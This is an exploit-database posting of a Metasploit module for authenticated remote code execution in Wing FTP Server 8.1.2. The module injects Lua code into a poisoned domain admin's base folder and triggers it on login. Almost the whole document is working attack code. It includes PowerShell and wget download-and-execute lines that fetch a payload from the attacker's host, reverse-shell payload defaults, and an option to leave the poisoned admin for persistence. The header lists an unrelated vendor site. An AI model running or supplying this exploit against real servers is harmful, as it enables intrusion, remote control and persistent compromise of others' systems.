Share
## https://sploitus.com/exploit?id=PACKETSTORM:223809
==================================================================================================================================
| # Title : Wing FTP Server 8.1.2 - Authenticated Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://casdoor.org/ |
==================================================================================================================================
[+] Summary : Wing FTP Server versions prior to 8.1.3 allows authenticated administrators to execute arbitrary Lua code on the server.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wing FTP Server 8.1.2 - Authenticated Remote Code Execution',
'Description' => %q{
A vulnerability in Wing FTP Server versions prior to 8.1.3 allows
authenticated administrators to execute arbitrary Lua code on the
server. The vulnerability exists in the session serialization mechanism
where the 'mydirectory' (basefolder) field of a domain admin is not
properly sanitized. When a poisoned value containing Lua code is
injected, it gets executed when the session is loaded via `loadfile()`.
This module exploits the vulnerability by creating a poisoned domain
admin with a crafted basefolder containing Lua code. When the admin
logs in, the payload is written to the session file and executed on
subsequent requests.
Successful exploitation grants code execution as the Wing FTP Server
service account. The payload is persistent and re-executes every time
the poisoned session is loaded.
Tested on Wing FTP Server 8.1.2 running on Windows Server 2019.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-44403'],
['URL', 'https://www.wftpserver.com/']
],
'DisclosureDate' => '2026-05-12',
'License' => MSF_LICENSE,
'Platform' => ['windows', 'linux'],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_CMD],
'Targets' => [
[
'Windows (x64)',
{
'Platform' => 'windows',
'Arch' => ARCH_X64,
'Type' => :windows,
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows (x86)',
{
'Platform' => 'windows',
'Arch' => ARCH_X86,
'Type' => :windows,
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
}
],
[
'Linux (x64)',
{
'Platform' => 'linux',
'Arch' => ARCH_X64,
'Type' => :linux,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Linux Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :linux_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'DefaultTarget' => 0,
'Privileged' => true,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base Wing FTP Admin path', '/']),
OptString.new('ADMIN_USER', [true, 'Wing FTP Administrator username']),
OptString.new('ADMIN_PASS', [true, 'Wing FTP Administrator password']),
OptString.new('POISON_USER', [false, 'Username for poisoned domain admin', 'svc_backup']),
OptString.new('POISON_PASS', [false, 'Password for poisoned domain admin', 'P@ssw0rd123!']),
OptString.new('LUA_PAYLOAD', [false, 'Custom Lua payload (overrides default)']),
OptBool.new('USE_SSL', [false, 'Use SSL for connection', false]),
OptInt.new('TIMEOUT', [false, 'HTTP request timeout', 30])
])
end
def admin_login_url
normalize_uri(target_uri.path, 'service_login.html')
end
def add_admin_url
normalize_uri(target_uri.path, 'service_add_admin.html')
end
def modify_admin_url
normalize_uri(target_uri.path, 'service_modify_admin.html')
end
def get_dir_list_url
normalize_uri(target_uri.path, 'service_get_dir_list.html')
end
def login_page_url
normalize_uri(target_uri.path, 'admin_login.html')
end
def login
print_status("Authenticating as administrator: #{datastore['ADMIN_USER']}")
data = {
'username' => datastore['ADMIN_USER'],
'password' => datastore['ADMIN_PASS']
}
headers = {
'Referer' => "#{full_uri(login_page_url)}"
}
res = send_request_cgi(
'method' => 'POST',
'uri' => admin_login_url,
'vars_post' => data,
'headers' => headers,
'keep_cookies' => true
)
if res
if res.code == 200
begin
json = res.get_json_document
if json['code'] == 0
print_good("Authentication successful")
return true
elsif json['code'] == 1 || json['code'] == 2
print_error("2FA required - module does not support TOTP")
return false
else
print_error("Authentication failed: #{json}")
return false
end
rescue JSON::ParserError
if res.body && (res.body.include?('logged in ok') || res.body.include?('main.html'))
print_good("Authentication successful (legacy endpoint)")
return true
end
end
end
end
print_error("Authentication failed")
false
end
def generate_lua_payload
if datastore['LUA_PAYLOAD'] && !datastore['LUA_PAYLOAD'].empty?
return datastore['LUA_PAYLOAD']
end
case target['Platform']
when 'windows'
if target['Type'] == :windows_cmd
cmd = payload.encoded
return "os.execute('#{cmd.gsub("'", "\\\\'")}')"
else
ps_cmd = "IEX(New-Object Net.WebClient).DownloadString('http://#{datastore['LHOST']}:#{datastore['LPORT']}/payload');"
return "os.execute('powershell -Command #{ps_cmd.gsub("'", "\\\\'")}')"
end
when 'linux', 'unix'
if target['Type'] == :linux_cmd
cmd = payload.encoded
return "os.execute('#{cmd.gsub("'", "\\\\'")}')"
else
download_cmd = "wget -O /tmp/payload http://#{datastore['LHOST']}:#{datastore['LPORT']}/payload && chmod +x /tmp/payload && /tmp/payload"
return "os.execute('#{download_cmd.gsub("'", "\\\\'")}')"
end
else
if target['Platform'] == 'windows'
return 'os.execute("whoami > C:\\\\wingftp_pwned.txt")'
else
return 'os.execute("whoami > /tmp/wingftp_pwned.txt")'
end
end
end
def create_poisoned_basefolder(lua_payload)
"/tmp/x]]#{lua_payload}--"
end
def create_poisoned_admin(poison_user, poison_pass, lua_payload)
print_status("Creating poisoned domain admin: #{poison_user}")
poisoned_basefolder = create_poisoned_basefolder(lua_payload)
vprint_status("Poisoned basefolder: #{poisoned_basefolder}")
admin_obj = {
'username' => poison_user,
'password' => poison_pass,
'readonly' => false,
'domainadmin' => 1,
'domainlist' => '',
'mydirectory' => poisoned_basefolder,
'ipmasks' => [],
'enable_two_factor' => false,
'two_factor_code' => ''
}
admin_json = admin_obj.to_json
headers = {
'Referer' => "#{full_uri('/main.html')}"
}
res = send_request_cgi(
'method' => 'POST',
'uri' => add_admin_url,
'headers' => headers,
'vars_form_data' => [
{ 'name' => 'admin', 'data' => admin_json, 'mime_type' => 'application/json' }
],
'keep_cookies' => true
)
if res && res.code == 200
begin
json = res.get_json_document
if json['code'] == 0
print_good("Poisoned admin created successfully")
return true
elsif json['code'] == -3
print_status("Admin '#{poison_user}' already exists, attempting modification")
return modify_poisoned_admin(poison_user, poison_pass, lua_payload)
else
print_error("Failed to create admin: #{json}")
return false
end
rescue JSON::ParserError
print_error("Unexpected response: #{res.body[0..200]}")
return false
end
end
false
end
def modify_poisoned_admin(poison_user, poison_pass, lua_payload)
print_status("Modifying existing admin: #{poison_user}")
poisoned_basefolder = create_poisoned_basefolder(lua_payload)
admin_obj = {
'username' => poison_user,
'password' => poison_pass,
'readonly' => false,
'domainadmin' => 1,
'domainlist' => '',
'mydirectory' => poisoned_basefolder,
'ipmasks' => [],
'enable_two_factor' => false,
'two_factor_code' => ''
}
admin_json = admin_obj.to_json
headers = {
'Referer' => "#{full_uri('/main.html')}"
}
res = send_request_cgi(
'method' => 'POST',
'uri' => modify_admin_url,
'headers' => headers,
'vars_form_data' => [
{ 'name' => 'admin', 'data' => admin_json, 'mime_type' => 'application/json' },
{ 'name' => 'oldname', 'data' => poison_user }
],
'keep_cookies' => true
)
if res && res.code == 200
begin
json = res.get_json_document
if json['code'] == 0
print_good("Admin '#{poison_user}' modified successfully")
return true
else
print_error("Failed to modify admin: #{json}")
return false
end
rescue JSON::ParserError
print_error("Unexpected response: #{res.body[0..200]}")
return false
end
end
false
end
def trigger_payload(poison_user, poison_pass)
print_status("Triggering payload by logging in as '#{poison_user}'...")
trigger_session = Rex::Proto::Http::Client.new(
datastore['RHOST'],
datastore['RPORT'],
{},
datastore['SSL'],
datastore['SSLVersion']
)
data = "username=#{Rex::Text.uri_encode(poison_user)}&password=#{Rex::Text.uri_encode(poison_pass)}"
headers = {
'Referer' => full_uri(login_page_url),
'Content-Type' => 'application/x-www-form-urlencoded'
}
res1 = trigger_session.send_recv(
data,
headers,
'POST',
admin_login_url
)
if res1 && (res1.code == 200 || res1.code == 302)
print_good("Login as poisoned admin successful")
else
print_warning("Login may have failed, but continuing...")
end
trigger_data = "dir="
headers['Referer'] = full_uri('/main.html')
res2 = trigger_session.send_recv(
trigger_data,
headers,
'POST',
get_dir_list_url
)
if res2
print_good("Trigger request sent - payload should have executed on the server")
return true
end
false
end
def cleanup_poisoned_admin(poison_user)
print_status("Cleaning up poisoned admin: #{poison_user}")
delete_url = normalize_uri(target_uri.path, 'service_del_admin.html')
res = send_request_cgi(
'method' => 'POST',
'uri' => delete_url,
'vars_post' => { 'username' => poison_user },
'keep_cookies' => true
)
if res && res.code == 200
print_good("Poisoned admin cleaned up")
else
print_warning("Could not clean up poisoned admin (may need manual removal)")
end
end
def check
print_status("Checking target...")
res = send_request_cgi(
'method' => 'GET',
'uri' => login_page_url
)
if res && res.code == 200
if res.body && res.body.include?('Wing FTP Server')
print_good("Wing FTP Server detected")
version_match = res.body.match(/Wing FTP Server v?([0-9.]+)/i)
if version_match
version = version_match[1]
print_status("Version: #{version}")
if version < '8.1.3'
print_good("Version appears vulnerable (< 8.1.3)")
return CheckCode::Appears
else
print_error("Version appears patched (>= 8.1.3)")
return CheckCode::Safe
end
end
return CheckCode::Detected
end
end
CheckCode::Unknown
end
def exploit
print_status("CVE-2026-44403 - Wing FTP Server Authenticated RCE")
print_status("Target: #{peer}")
unless login
fail_with(Failure::NoAccess, "Authentication failed. Check ADMIN_USER and ADMIN_PASS")
end
lua_payload = generate_lua_payload
print_status("Lua payload: #{lua_payload}")
poison_user = datastore['POISON_USER']
poison_pass = datastore['POISON_PASS']
unless create_poisoned_admin(poison_user, poison_pass, lua_payload)
fail_with(Failure::UnexpectedReply, "Failed to create poisoned admin")
end
if trigger_payload(poison_user, poison_pass)
print_good("Payload triggered successfully")
(datastore['WfsDelay'] * 2).times do
break if session_created?
Rex.sleep(1)
end
else
print_warning("Payload may not have executed")
end
if datastore['Cleanup']
cleanup_poisoned_admin(poison_user)
else
print_status("Poisoned admin left for persistence: #{poison_user}:#{poison_pass}")
end
print_good("Exploit completed")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================